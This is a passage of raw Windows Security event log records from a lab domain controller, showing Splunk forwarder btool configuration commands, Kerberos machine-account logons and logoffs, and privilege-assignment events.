- -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250167 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11e8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250166 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250165 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1194 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11a8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250164 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11b4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250163 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250162 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1180 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1158 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250161 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1164 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250160 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1164 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250159 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x100A04 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250158 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x100A04 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64401 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250157 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x100A04 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250156 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1009A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250155 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1009A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64400 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250154 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1009A3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250153 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10093D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250152 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10093D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64399 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250151 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10093D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250150 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1008DC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250149 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1008DC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64398 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250148 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1008DC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250147 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1128 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x113c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250146 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1148 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250145 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1148 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250184 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1240 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11f4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is 